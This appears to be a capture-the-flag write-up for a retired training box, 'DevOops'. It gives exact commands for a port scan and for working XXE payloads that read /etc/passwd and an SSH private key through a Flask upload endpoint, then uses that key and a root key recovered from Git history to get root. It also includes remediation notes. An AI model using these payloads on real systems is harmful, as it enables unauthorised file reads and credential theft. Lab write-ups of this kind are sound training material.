DevOops
Summary
I discovered two exposed services on the target: SSH on port 22 and a Flask web application named 'Blogfeeder' on port 5000. The app's XML file-upload endpoint had no external-entity restrictions — the page source even left a developer comment admitting schema validation was missing.
By submitting a crafted XML file, I read arbitrary files from the server's filesystem, including the web user's SSH private key. That key unlocked an interactive shell as the user 'roosa'.
Exploring her home directory revealed the Flask app was backed by a Git repository; a prior commit contained an SSH private key labeled 'authcredentials.key' — a deployment credential accidentally committed and never purged from history. That key authenticated directly as root over SSH, delivering full system compromise without any password cracking or exploit.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Some commands also carry a value in angle brackets — <data> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Full TCP port scan to enumerate all open ports.
$ nmap -p- --min-rate 3000 -T4 -Pn $TARGET
22/tcp open ssh
5000/tcp open upnpConfirm the web application and its server banner.
$ curl -s -i http://$TARGET:5000/Exact commands 1
Retrieve the upload endpoint page and read its source comments.
$ curl -s http://$TARGET:5000/uploadFixDisable XML External Entity processing in the Flask upload handlerCritical
Exact commands 2
Write the XXE payload targeting /etc/passwd to a local file.
$ cat > /tmp/xxe_passwd.xml << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<data><Author>&x;</Author><Subject>a</Subject><Content>b</Content></data>
EOFSubmit the payload; /etc/passwd contents appear in the Author field of the response confirming arbitrary file read.
$ curl -sS -i -F 'file=@/tmp/xxe_passwd.xml' http://$TARGET:5000/uploadExact commands 3
Read the user flag via XXE — value is <user.txt>.
$ cat > /tmp/xxe_flag.xml << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///home/roosa/user.txt">]>
<data><Author>&x;</Author><Subject>a</Subject><Content>b</Content></data>
EOF
curl -sS -F 'file=@/tmp/xxe_flag.xml' http://$TARGET:5000/uploadExfiltrate roosa's SSH private key from the response body; save the PEM block to /tmp/roosa_id_rsa.
$ cat > /tmp/xxe_key.xml << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///home/roosa/.ssh/id_rsa">]>
<data><Author>&x;</Author><Subject>a</Subject><Content>b</Content></data>
EOF
curl -sS -F 'file=@/tmp/xxe_key.xml' http://$TARGET:5000/uploadSet correct permissions so SSH accepts the key.
$ chmod 600 /tmp/roosa_id_rsaExact commands 1
Authenticate as roosa using the exfiltrated key.
$ ssh -i /tmp/roosa_id_rsa -o StrictHostKeyChecking=no roosa@$TARGETExact commands 3
List all commits; look for entries adding or removing credential files.
$ cd ~/work/blogfeed && git log --onelineExtract the key from the specific commit that still contains it.
$ git show d387abf:resources/integration/authcredentials.keyConfirm the key file is also present untracked in the current working tree.
$ ls -la resources/integration/authcredentials.keyFixPurge committed secrets from Git history and prevent future credential exposureCritical
Exact commands 3
Retrieve the leaked root deployment key from the remote Git history via the roosa shell.
$ ssh -i /tmp/roosa_id_rsa roosa@$TARGET 'cd /home/roosa/work/blogfeed && git show d387abf:resources/integration/authcredentials.key' > /tmp/auth_d387abf.key && chmod 600 /tmp/auth_d387abf.keyLog in as root using the leaked key.
$ ssh -i /tmp/auth_d387abf.key -o StrictHostKeyChecking=no root@$TARGETRead the root flag — value is <root.txt>.
$ ssh -i /tmp/auth_d387abf.key root@$TARGET 'cat /root/root.txt'Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh |
| 5000/tcp | upnp |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.